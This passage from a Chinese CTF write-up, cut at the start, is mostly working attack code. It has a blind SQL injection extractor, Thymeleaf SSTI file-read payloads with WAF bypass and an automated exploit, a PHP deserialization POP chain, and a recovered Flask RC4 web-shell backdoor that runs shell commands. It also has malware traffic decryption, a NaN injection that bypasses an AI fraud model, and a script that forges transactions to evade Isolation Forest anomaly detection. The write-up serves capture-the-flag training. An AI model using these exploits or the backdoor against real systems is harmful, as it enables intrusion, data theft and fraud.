            mid = (low + high) // 2
            test_value = flag + chr(mid)
            
            # 使用 < 比较: 如果 (table) < (test_value),触发exp(710)
            payload = f"0' || if((table where_is_my_flagggggg limit 0,1)<('{test_value}'),exp(710),1) || '1'='1"
            
            result = post_text(payload)
            time.sleep(0.4)
            
            if "error" in result.lower() and "频繁" not in result:
                # exp(710) 触发,条件为真: flag < test_value
                high = mid
                print(f"    '{chr(mid)}' -> flag < test")
            elif "频繁" in result:
                print("    [!] 频率限制,等待...")
                time.sleep(2)
                continue
            else:
                # 条件为假: flag >= test_value
                low = mid + 1
                print(f"    '{chr(mid)}' -> flag >= test")
        
        if low <= 33:
            print("\n[*] 提取结束")
            break
        
        char = chr(low - 1)
        flag += char
        print(f"\n[+] 第{pos}个字符: '{char}' | 当前flag: {flag}")
        
        if char == '}':
            break
    
    return flag

if __name__ == "__main__":
    print("SQL盲注脚本 - 无列名注入提取flag")
    print("目标表: where_is_my_flagggggg")
    print("-" * 60)
    
    # 使用方法2(更稳定)
    flag = get_flag_v2()
    
    print("\n" + "=" * 60)
    print(f"[*] 最终 flag: {flag}")
    print("=" * 60)

Dedecms

这题首先进入首页看到是DedeCMS V57_UTF8_SP2版本去网上找到参考文章可以打后台注入

https://blog.csdn.net/caiqiiqi/article/details/86631263

但是没有后台密码和用户

https://blog.csdn.net/caiqiiqi/article/details/83996312

又找到这篇文章说是可以进行后台密码重置,但是尝试发现不行但是在注册的时候发现在会员中心可以看到其他的用户名信息。

然后针对这两个用户进行爆破密码,成功爆破出Aa123456789的密码为Aa123456789登陆后台,可以进行任意文件上传拿webshell

EZ_JAVA

这个题直接弱口令或者密码爆破都可以进后台,进入后台发现存在Thymeleaf模版注入。所以可以利用常见的绕过方式去进行文件读取和命令执行等

首先测试常规的poc发现会解析报错

${T(java.lang.Runtime).getRuntime().exec('whoami')}

所以猜测对宇这种类型进行了过滤去网上参考一些文章想到通过反射实例化一些类来了列目录读取文件最终构造出

//列目录
''.getClass().forName('java.nio.file.Files').walk(     ''.getClass().forName('java.nio.file.Paths').get('/'),      1 ).collect(     ''.getClass().forName('java.util.stream.Collectors').toList() )

// 原始
Files.readAllLines(Paths.get("/flag"))

// 反射 + 混淆
''.getClass().forName('java.nio.file.Files')
  .readAllLines(
     ''.getClass().forName('java.nio.file.Paths').get('/'+'fla'+'g'+'_y0u_d0nt_kn0w')))

自动化脚本如下

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests
import re
import logging
from typing import Optional, List

# ================= 配置区域 =================
TARGET_URL = "http://8.147.132.32:32080"
USER_CREDENTIALS = ("admin", "admin123")
# ===========================================

# 配置日志
logging.basicConfig(level=logging.INFO, format='%(asctime)s - [%(levelname)s] - %(message)s')
logger = logging.getLogger(__name__)

class BypassUtil:
    """
    专门处理 WAF 绕过的工具类
    """
    @staticmethod
    def obfuscate_string(text: str) -> str:
        """
        核心绕过技巧:将字符串拆解拼接
        输入: "flag"
        输出: 'f'+'l'+'a'+'g'
        原理: 只有最终在 Java 内存中拼接时才会出现敏感词,绕过 HTTP 层的流量检测
        """
        if not text:
            return "''"
        # 将每个字符用单引号包裹,并用 + 连接
        return "+".join([f"'{char}'" for char in text])

class SSTIGenerator:
    """
    生成基于反射的 SSTI Payload
    """
    @staticmethod
    def get_class(class_name: str) -> str:
        """
        生成获取类的反射代码
        原理: ''.getClass().forName('java.lang.Runtime')
        """
        obfuscated_name = BypassUtil.obfuscate_string(class_name)
        return f"''.getClass().forName({obfuscated_name})"

    @staticmethod
    def gen_list_dir_payload(path: str = "/") -> str:
        """
        生成列目录 Payload (基于 java.nio.file.Files.walk)
        """
        cls_files = SSTIGenerator.get_class("java.nio.file.Files")
        cls_paths = SSTIGenerator.get_class("java.nio.file.Paths")
        cls_collectors = SSTIGenerator.get_class("java.util.stream.Collectors")
        
        target_path = BypassUtil.obfuscate_string(path)

        # 构造复杂的 Java Stream 调用链
        payload = (
            f"[[${{"
            f"{cls_files}.walk({cls_paths}.get({target_path}), 1)"
            f".collect({cls_collectors}.toList())"
            f"}}]]"
        )
        return payload

    @staticmethod
    def gen_read_file_payload(file_path: str) -> str:
        """
        生成读文件 Payload (基于 java.nio.file.Files.readAllLines)
        """
        cls_files = SSTIGenerator.get_class("java.nio.file.Files")
        cls_paths = SSTIGenerator.get_class("java.nio.file.Paths")
        
        target_path = BypassUtil.obfuscate_string(file_path)

        payload = (
            f"[[${{"
            f"{cls_files}.readAllLines({cls_paths}.get({target_path}))"
            f"}}]]"
        )
        return payload

class SSTIExploit:
    def __init__(self, base_url: str):
        self.base_url = base_url.rstrip('/')
        self.session = requests.Session()
        # 常见 CTF 场景通常没有 HTTPS 证书,禁用警告
        self.session.verify = False 
        import urllib3
        urllib3.disable_warnings()

    def login(self, username, password) -> bool:
        logger.info("尝试登录系统...")
        try:
            resp = self.session.post(
                f"{self.base_url}/login",
                data={"username": username, "password": password},
                timeout=10
            )
            if resp.status_code == 200:
                logger.info("登录成功")
                return True
            logger.error(f"登录失败: HTTP {resp.status_code}")
            return False
        except Exception as e:
            logger.error(f"登录异常: {e}")
            return False

    def send_payload(self, payload: str, tag: str) -> Optional[str]:
        """
        发送 Payload 并解析回显
        """
        logger.info(f"发送 Payload [{tag}]...")
        # logger.debug(f"Payload Content: {payload}") # 调试时可开启
        
        try:
            resp = self.session.post(
                f"{self.base_url}/admin/preview",
                data={"template": payload},
                timeout=10
            )
            
            # 使用正则提取 <div class="notice"> 中的内容
            # 这里优化了正则,兼容换行符 (re.DOTALL)
            match = re.search(r'<div class="notice">(.*?)</div>', resp.text, re.DOTALL)
            
            if match:
                raw_result = match.group(1).strip()
                # 简单的 HTML 反转义
                result = raw_result.replace('&lt;', '<').replace('&gt;', '>').replace('&quot;', '"')
                return result
            else:
                logger.warning("未匹配到预期回显 (可能 Payload 执行出错或无输出)")
                return None
                
        except Exception as e:
            logger.error(f"请求发送失败: {e}")
            return None

    def run(self):
        # 1. 登录
        if not self.login(*USER_CREDENTIALS):
            return

        # 2. 探测: 使用反射列出根目录
        # 这里不需要手动拼接 'f'+'lag',SSTIGenerator 会自动处理
        logger.info("步骤 1: 尝试列出根目录寻找 Flag 文件")
        dir_payload = SSTIGenerator.gen_list_dir_payload("/")
        dir_result = self.send_payload(dir_payload, "List Root Dir")
        
        target_file = None
        if dir_result:
            # 清理格式 [file1, file2] -> list
            files = dir_result.strip('[]').split(', ')
            logger.info(f"发现文件: {len(files)} 个")
            
            for f in files:
                # 自动寻找包含 flag 关键字的文件
                if 'flag' in f.lower():
                    target_file = f
                    logger.info(f"👉 发现疑似 Flag 文件: {f}")
                    # 找到一个就停止吗?通常 CTF 只有一个 flag
                    break
        
        # 3. 攻击: 读取目标文件
        if target_file:
            logger.info(f"步骤 2: 读取文件 {target_file}")
            
            # 自动生成读取 Payload (自动混淆路径)
            read_payload = SSTIGenerator.gen_read_file_payload(target_file)
            flag_content = self.send_payload(read_payload, "Read Flag")
            
            if flag_content:
                print("\n" + "#" * 50)
                print(f"🎉 FLAG 内容: {flag_content}")
                print("#" * 50 + "\n")
            else:
                logger.error("读取失败,未获取到内容")
        else:
            logger.error("未在根目录找到 flag 文件,可能在其他路径或文件名不同")

if __name__ == "__main__":
    exploit = SSTIExploit(TARGET_URL)
    exploit.run()

hellogate

这题访问看到只有一个图片所以通过view-source:查看页面源码发现了php代码

<?php
error_reporting(0);
class A {
    public $handle;
    public function triggerMethod() {
        echo "" . $this->handle; 
    }
}
class B {
    public $worker;
    public $cmd;
    public function __toString() {
        return $this->worker->result;
    }
}
class C {
    public $cmd;
    public function __get($name) {
        echo file_get_contents($this->cmd);
    }
}
$raw = isset($_POST['data']) ? $_POST['data'] : '';
header('Content-Type: image/jpeg');
readfile("muzujijiji.jpg");
highlight_file(__FILE__);
$obj = unserialize($_POST['data']);
$obj->triggerMethod();

很明显的php反序列化

利用链路径:A::triggerMethod() → echo "" . $ this-&gt;handle 字符串拼接会触发 $this->handle 的 __toString() 魔术方法B::__toString() → return $this->worker->result_访问 $ this-&gt;worker 的 result 属性如果 $this->worker 是 C 类实例,C 类没有 result 属性,会触发 get() 魔术方法C::get() → file_get_contents($this->cmd)_

<?php
class A {
    public $handle;
}
class B {
    public $worker;
    public $cmd;
}
class C {
    public $cmd;
}

// 构造 POP 链
$c = new C();
$c->cmd = "/flag";  // 要读取的文件,根据实际情况修改,如 /etc/passwd 或 flag.php

$b = new B();
$b->worker = $c;

$a = new A();
$a->handle = $b;

// 生成 payload
echo urlencode(serialize($a));

流量分析

SnakeBackdoor-1

题目背景信息

近期发现公司网络出口出现了异常的通信,现需要通过分析出口流量包,对失陷服务器进行定位。现在需要你从网络攻击数据包中找出漏洞攻击的会话,分析会话编写exp或数据包重放,查找服务器上安装的后门木马,然后分析木马外联地址和通信密钥以及木马启动项位置。

直接去流量包过滤http协议

直接找最后的这个包就是登陆成功的包flag{zxcvbnm123}

SnakeBackdoor-2

问题:攻击者通过漏洞利用获取Flask应用的 SECRET_KEY 是什么

这里也是过滤http协议就在登陆成功之后的几个包发现了模版注入的操作提取出响应包的内容就可以了

flag{c6242af0-6891-4510-8432-e1cdf051f160}

SnakeBackdoor-3

攻击者植入的木马使用了加密算法来隐藏通讯内容。请分析注入Payload,给出该加密算法使用的密钥字符串(Key)

继续翻流量发现后面模版注入写入了一个恶意木马

通过写脚本还原出来恶意代码如下:

global exc_class
global code
import os,binascii
exc_class, code = app._get_exc_class_and_code(404)
RC4_SECRET = b'v1p3r_5tr1k3_k3y'
def rc4_crypt(data: bytes, key: bytes) -> bytes:
    S = list(range(256))
    j = 0
    for i in range(256):
       j = (j + S[i] + key[i % len(key)]) % 256
       S[i], S[j] = S[j], S[i]
    i = j = 0
    res = bytearray()
    for char in data:
       i = (i + 1) % 256
       j = (j + S[i]) % 256
       S[i], S[j] = S[j], S[i]
       res.append(char ^ S[(S[i] + S[j]) % 256])
    return bytes(res)
def backdoor_handler():
    if request.headers.get('X-Token-Auth') != '3011aa21232beb7504432bfa90d32779':
       return "Error"
    enc_hex_cmd = request.form.get('data')
    if not enc_hex_cmd:
       return ""
    try:
       enc_cmd = binascii.unhexlify(enc_hex_cmd)
       cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore')
       output_bytes = getattr(os, 'popen')(cmd).read().encode('utf-8', errors='ignore')
       enc_output = rc4_crypt(output_bytes, RC4_SECRET)
       return binascii.hexlify(enc_output).decode()
    except:
       return "Error"
app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()

可以看到密钥 v1p3r_5tr1k3_k3y

SnakeBackdoor-4

攻击者上传了一个二进制后门,请写出木马进程执行的本体文件的名称

这里也还是继续分析后续与木马之间的通信流量因为是写的web马所以还是继续分析http协议,首先将加解密提取出来供后面提取解密的命令和回显信息

import os,binascii
RC4_SECRET = b'v1p3r_5tr1k3_k3y'
def rc4_crypt(data: bytes, key: bytes) -> bytes:
    S = list(range(256))
    j = 0
    for i in range(256):
       j = (j + S[i] + key[i % len(key)]) % 256
       S[i], S[j] = S[j], S[i]
    i = j = 0
    res = bytearray()
    for char in data:
       i = (i + 1) % 256
       j = (j + S[i]) % 256
       S[i], S[j] = S[j], S[i]
       res.append(char ^ S[(S[i] + S[j]) % 256])
    return bytes(res)
enc_cmd = binascii.unhexlify("e0ac7e52fc996cc2038c2d7a3899ed")
cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore')
print(cmd)

最终翻到对应命令执行的包

解密出来的到名字python3.13

SnakeBackdoor-5

请提取驻留的木马本体文件,通过逆向分析找出木马样本通信使用的加密密钥(hex,小写字母),结果提交形式:flag{[0-9a-f]+}

通过前面提取的web马继续http协议的分析看他们发送的payload解密发现中间下载了一个压缩包

对这个压缩包解密发现需要密码继续解密他后续的加密命令

通过解密脚本得出

拖入IDA,直接找到C2服务端的IP地址和端口:

继续分析逻辑,发现先从服务器获取4字节的随机数种子:

然后对其字节序进行转换,接着生成4个32位随机数作为密钥参数,进入sub_13B4()函数根据T变换和S盒生成密钥。

通过前面逆向分析得知的信息去流量找信息,可以采用如下的过滤手段去找前面的四个字节

ip.addr == 192.168.1.201 && tcp.port == 58782
ip.addr == 192.168.1.201 && tcp.port == 58782 && tcp.len > 0
ip.addr == 192.168.1.201 && tcp.port == 58782 && tcp.len == 4

在WireShark中根据IP和端口找到4字节的随机数种子:

然后编写脚本模拟程序生成key即可。

完整解题脚本:

import struct

class Rand:
    def __init__(s, seed):
        s.r = [0]*32; s.r[1] = seed & 0xFFFFFFFF
        for i in range(2,32): s.r[i] = (16807*s.r[i-1]) % 2147483647
        s.f, s.b = 4, 1
        for _ in range(310): s.rand()
    def rand(s):
        v = (s.r[s.f] + s.r[s.b]) & 0xFFFFFFFF
        s.r[s.f] = v
        s.f = 1 if s.f>=31 else s.f+1
        s.b = 1 if s.b>=31 else s.b+1
        return (v>>1) & 0x7FFFFFFF

def gen_key(seed):
    rng = Rand(seed)
    return b''.join(struct.pack('<I', rng.rand()) for _ in range(4))

seed = 0x46209534
key = gen_key(seed)
print(key.hex())

# ac46fb610b313b4f32fc642d8834b456

SnakeBackdoor-6

在WireShark中过滤木马与C2服务器的通信流量:

ip.addr == 192.168.1.201 && tcp.port == 58782 && tcp.len > 0

使用key:ac46fb610b313b4f32fc642d8834b456通过魔改后的SM4算法解密通信流量:

import struct

# 魔改S盒 (从IDA 0x2020提取)
SBOX = bytes([0xd6,0x90,0xe9,0xfe,0xcc,0xe1,0x3d,0xb7,0x16,0xb6,0x14,0xc2,0x28,0xfb,0x2c,0x05,
0x2b,0x67,0x9a,0x76,0x2a,0xbe,0x04,0xc3,0xaa,0x44,0x13,0x26,0x49,0x86,0x06,0x99,
0x9c,0x42,0x50,0xf4,0x91,0xef,0x98,0x7a,0x33,0x54,0x0b,0x43,0xed,0xcf,0xac,0x62,
0xe4,0xb3,0x1c,0xa9,0xc9,0x08,0xe8,0x95,0x80,0xdf,0x94,0xfa,0x75,0x8f,0x3f,0xa6,
0x47,0x07,0xa7,0xfc,0xf3,0x73,0x17,0xba,0x83,0x59,0x3c,0x19,0xe6,0x85,0x4f,0xa8,
0x68,0x6b,0x81,0xb2,0x71,0x64,0xda,0x8b,0xf8,0xeb,0x0f,0x4b,0x70,0x56,0x9d,0x35,
0x1e,0x24,0x0e,0x5e,0x63,0x58,0xd1,0xa2,0x25,0x22,0x7c,0x3b,0x01,0x21,0x78,0x87,
0xd4,0x00,0x46,0x57,0x9f,0xd3,0x27,0x52,0x4c,0x36,0x02,0xe7,0xa0,0xc4,0xc8,0x9e,
0xea,0xbf,0x8a,0xd2,0x40,0xc7,0x38,0xb5,0xa3,0xf7,0xf2,0xce,0xf9,0x61,0x15,0xa1,
0xe0,0xae,0x5d,0xa4,0x9b,0x34,0x1a,0x55,0xad,0x93,0x32,0x30,0xf5,0x8c,0xb1,0xe3,
0x1d,0xf6,0xe2,0x2e,0x82,0x66,0xca,0x60,0xc0,0x29,0x23,0xab,0x0d,0x53,0x4e,0x6f,
0xd5,0xdb,0x39,0xb8,0x31,0x11,0x0c,0x5a,0xcb,0x3e,0x0a,0x45,0xe5,0x94,0x77,0x5b,
0x8d,0x6d,0x48,0x41,0x10,0xbd,0x09,0xc1,0x4a,0x89,0x0d,0x6e,0x97,0xa1,0x1d,0x16,
0x0a,0xd9,0x88,0x6a,0x96,0xd1,0x6b,0x32,0x02,0x35,0x46,0x06,0x7d,0x65,0x49,0x8c,
0xf0,0x3e,0x2d,0x7a,0x15,0xff,0x05,0x8e,0x01,0x84,0x3c,0x3a,0x38,0x53,0x87,0x7b,
0x0b,0x2b,0x7e,0x0f,0xf6,0x69,0xa8,0x5a,0xb5,0x4c,0x1b,0x39,0x7f,0x08,0x8d,0x1c])

FK = [0xa3b1bac6, 0x56aa3350, 0x677d9197, 0xb27022dc]
CK = [0x00070e15,0x1c232a31,0x383f464d,0x545b6269,0x70777e85,0x8c939aa1,0xa8afb6bd,0xc4cbd2d9,
      0xe0e7eef5,0xfc030a11,0x181f262d,0x343b4249,0x50575e65,0x6c737a81,0x888f969d,0xa4abb2b9,
      0xc0c7ced5,0xdce3eaf1,0xf8ff060d,0x141b2229,0x30373e45,0x4c535a61,0x686f767d,0x848b9299,
      0xa0a7aeb5,0xbcc3cad1,0xd8dfe6ed,0xf4fb0209,0x10171e25,0x2c333a41,0x484f565d,0x646b7279]

rot = lambda x,n: ((x<<n)|(x>>(32-n)))&0xffffffff

tau = lambda x: (SBOX[x&0xff]<<24)|(SBOX[(x>>8)&0xff]<<16)|(SBOX[(x>>16)&0xff]<<8)|SBOX[x>>24]
L = lambda x: x^rot(x,2)^rot(x,10)^rot(x,18)^rot(x,24)
Lp = lambda x: x^rot(x,13)^rot(x,23)

def sm4_dec(ct, key):
    mk = [struct.unpack('>I', key[i*4:i*4+4])[0] for i in range(4)]
    k = [mk[i]^FK[i] for i in range(4)]
    rk = []
    for i in range(32):
        rk.append(k[0]^Lp(tau(k[1]^k[2]^k[3]^CK[i])))
        k = k[1:] + [rk[-1]]

    pt = b''
    for blk in range(0, len(ct), 16):
        x = [struct.unpack('>I', ct[blk+i*4:blk+i*4+4])[0] for i in range(4)]
        for i in range(31, -1, -1):
            x = x[1:] + [x[0]^L(tau(x[1]^x[2]^x[3]^rk[i]))]
        pt += b''.join(struct.pack('>I', x[3-i]) for i in range(4))

    pad = pt[-1]
    return pt[:-pad] if 1<=pad<=16 else pt


key = bytes.fromhex("ac46fb610b313b4f32fc642d8834b456")
ct = bytes.fromhex("7f4b0ef4806983f164af6f46b71d3fce1e3c0bd00c4dd162b72c156f0f3aecd2afcabf551e08380db6fd20316f8a2729")
print(sm4_dec(ct, key).decode())

# flag{6894c9ec-7l9b-46O5-82bf-4felde27738f}

AI

欺诈猎手的后门陷阱

这题是AI模型样本对抗,尝试过正负样本的统计特征分析,网格搜索,和模型逆向方法,均不成功。于是通过判题系统本身入手,构造Nan等特殊值,应该是一种非预期绕过。在大多数语言中,NaN > 0.9 是 False,NaN < 0 也是 False。构建一个自动脚本解密

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
AI 模型后门检测与利用工具 (Refactored)
针对场景: JSON NaN 注入绕过风控/触发模型后门
"""

import json
import base64
import logging
import requests
import urllib3
from dataclasses import dataclass
from typing import Optional, Tuple

# ==================== 配置区域 ====================
@dataclass
class Config:
    # 目标配置
    BASE_URL: str = "http://127.0.0.1:5000"  # 请替换为实际目标 IP
    API_ENDPOINT: str = "/api/predict"
    
    # 解密配置
    XOR_KEY: str = "ctf_2025_key"
    
    # 请求配置
    TIMEOUT: tuple = (5, 30)
    USER_AGENT: str = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"

# ==================== 初始化设置 ====================
# 禁用 SSL 警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# 配置日志
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - [%(levelname)s] - %(message)s',
    datefmt='%H:%M:%S'
)
logger = logging.getLogger("FraudHunter")

# ==================== 核心逻辑类 ====================

class AIBackdoorExploit:
    def __init__(self, config: Config):
        self.config = config
        self.target_url = f"{config.BASE_URL.rstrip('/')}{config.API_ENDPOINT}"
    
    def _get_raw_nan_payload(self) -> str:
        """
        构造包含原生 NaN 的非标准 JSON 字符串。
        这种构造方式绕过了标准序列化器的潜在过滤。
        """
        # 这里的 NaN 是字面量,不是字符串 "NaN"
        return """{
            "trans_amount_usd": NaN,
            "addr_deviation_score": NaN,
            "trans_time_risk_score": NaN,
            "merchant_code_hash": NaN,
            "card_issuer_code": NaN,
            "pos_terminal_id": NaN,
            "transaction_type_code": NaN,
            "cvv_verify_score": NaN,
            "account_age_month": NaN,
            "daily_trans_count": NaN
        }"""

    def trigger_backdoor(self) -> Tuple[Optional[str], Optional[str]]:
        """
        发送恶意负载触发后端逻辑漏洞
        """
        logger.info(f"正在尝试触发后门: {self.target_url}")
        
        headers = {
            "Content-Type": "application/json",
            "User-Agent": self.config.USER_AGENT
        }
        
        payload = self._get_raw_nan_payload()
        logger.debug(f"Payload Preview: {payload.replace(' ', '').replace(chr(10), '')}")

        try:
            # 关键点: 使用 data 参数发送 raw string,而非 json 参数
            response = requests.post(
                self.target_url,
                data=payload, 
                headers=headers,
                timeout=self.config.TIMEOUT,
                verify=False
            )
            
            logger.info(f"服务器响应: {response.status_code}")
            
            try:
                result = response.json()
            except json.JSONDecodeError:
                logger.error("响应不是有效的 JSON 格式")
                logger.debug(response.text)
                return None, None

            # 检查后门触发标志
            if result.get("backdoor_triggered"):
                logger.success("后门触发成功!") if hasattr(logger, 'success') else logger.info(">>> [SUCCESS] 后门触发成功!")
                return result.get("encrypted_flag"), result.get("hint")
            else:
                logger.warning("请求成功但后门未触发 (可能是Payload被清洗或未命中)")
                logger.debug(f"响应内容: {json.dumps(result, indent=2)}")
                return None, None

        except requests.RequestException as e:
            logger.error(f"网络请求失败: {e}")
            return None, None

    def decrypt_flag(self, encrypted_b64: str) -> Optional[str]:
        """
        执行多层解密: Base64 -> XOR -> Base64
        """
        if not encrypted_b64:
            return None
            
        logger.info("开始解密流程...")
        key = self.config.XOR_KEY
        
        try:
            # Layer 1: Base64 Decode
            step1_bytes = base64.b64decode(encrypted_b64)
            
            # Layer 2: XOR Decrypt
            key_bytes = key.encode('utf-8')
            xor_result = bytearray()
            for i, byte in enumerate(step1_bytes):
                xor_result.append(byte ^ key_bytes[i % len(key_bytes)])
            
            logger.debug(f"XOR 解密结果 (Hex): {xor_result.hex()}")
            
            # Layer 3: Base64 Decode (Final)
            # 有时候XOR后的结果直接是明文,有时候是Base64,这里做个兼容尝试
            try:
                final_flag = base64.b64decode(xor_result).decode('utf-8')
                logger.info("二次Base64解码成功")
            except Exception:
                logger.warning("二次Base64解码失败,尝试直接输出XOR结果")
                final_flag = xor_result.decode('utf-8', errors='ignore')

            return final_flag

        except Exception as e:
            logger.error(f"解密过程发生异常: {e}")
            return None

    def run(self):
        """执行完整攻击链"""
        logger.info("启动 Exploit...")
        
        enc_flag, hint = self.trigger_backdoor()
        
        if hint:
            logger.info(f"获取到题目提示: {hint}")
            
        if enc_flag:
            flag = self.decrypt_flag(enc_flag)
            if flag:
                print("\n" + "#" * 50)
                print(f"FLAG: {flag}")
                print("#" * 50 + "\n")
            else:
                logger.error("FLAG 解密失败")
        else:
            logger.error("未能获取加密数据,攻击链中断")

# ==================== 主程序 ====================

if __name__ == "__main__":
    # 实例化配置 (可在此处修改目标URL)
    # config = Config(BASE_URL="http://192.168.1.100:8000")
    config = Config() 
    
    exploit = AIBackdoorExploit(config)
    exploit.run()

The Silent Heist

目标银行使用 Isolation Forest 反欺诈系统需伪造交易金额总和超过 $2,000,000约束:不能被检测为异常、禁止重放、禁止重复分析 1000 条正常交易的 均值向量 和 协方差矩阵使用 多元正态分布 采样生成新数据本地用 Isolation Forest 预筛选,只保留"正常"样本给出脚本

#!/usr/bin/env python3
"""
The Silent Heist - CTF Exploit
对抗 Isolation Forest,伪造交易绑过反欺诈系统
"""

import numpy as np
import pandas as pd
from sklearn.ensemble import IsolationForest

# 加载数据
df = pd.read_csv('public_ledger.csv')
data = df.values

# 计算多元正态分布参数
mean = np.mean(data, axis=0)
cov = np.cov(data, rowvar=False)

# 训练 Isolation Forest (模拟服务端)
model = IsolationForest(n_estimators=100, contamination=0.05, random_state=42)
model.fit(data)

# 计算需要生成的数量
target = 2_000_000
n_samples = int(target / mean[0] * 1.2)  # 多生成20%

# 生成数据并去重
print(f"[*] 生成 {n_samples} 条伪造交易...")
original_hashes = {tuple(np.round(row, 4)) for row in data}
generated = []

while len(generated) < n_samples:
    samples = np.random.multivariate_normal(mean, cov, size=1000)
    for s in samples:
        h = tuple(np.round(s, 4))
        if h not in original_hashes:
            generated.append(s)
            original_hashes.add(h)
        if len(generated) >= n_samples:
            break

generated = np.array(generated)

# 筛选正常数据
predictions = model.predict(generated)
normal_data = generated[predictions == 1]
print(f"[*] 筛选后: {len(normal_data)} 条正常交易")

# 确保金额足够
while normal_data[:, 0].sum() < target:
    print("[!] 金额不足,继续生成...")
    extra = np.random.multivariate_normal(mean, cov, size=2000)
    extra_pred = model.predict(extra)
    normal_data = np.vstack([normal_data, extra[extra_pred == 1]])

# 选取刚好超过目标的数量
cumsum = np.cumsum(normal_data[:, 0])
n_needed = np.searchsorted(cumsum, target) + 50
final_data = normal_data[:n_needed]

print(f"[*] 最终: {len(final_data)} 条, 金额: ${final_data[:, 0].sum():,.2f}")

# 保存为提交格式
output = pd.DataFrame(final_data, columns=[f'f{i}' for i in range(20)])
with open('payload.txt', 'w') as f:
    output.to_csv(f, index=False)
    f.write('EOF')

print("[✓] 已保存到 payload.txt")
print("[*] 提交: cat payload.txt | nc <IP> <PORT>")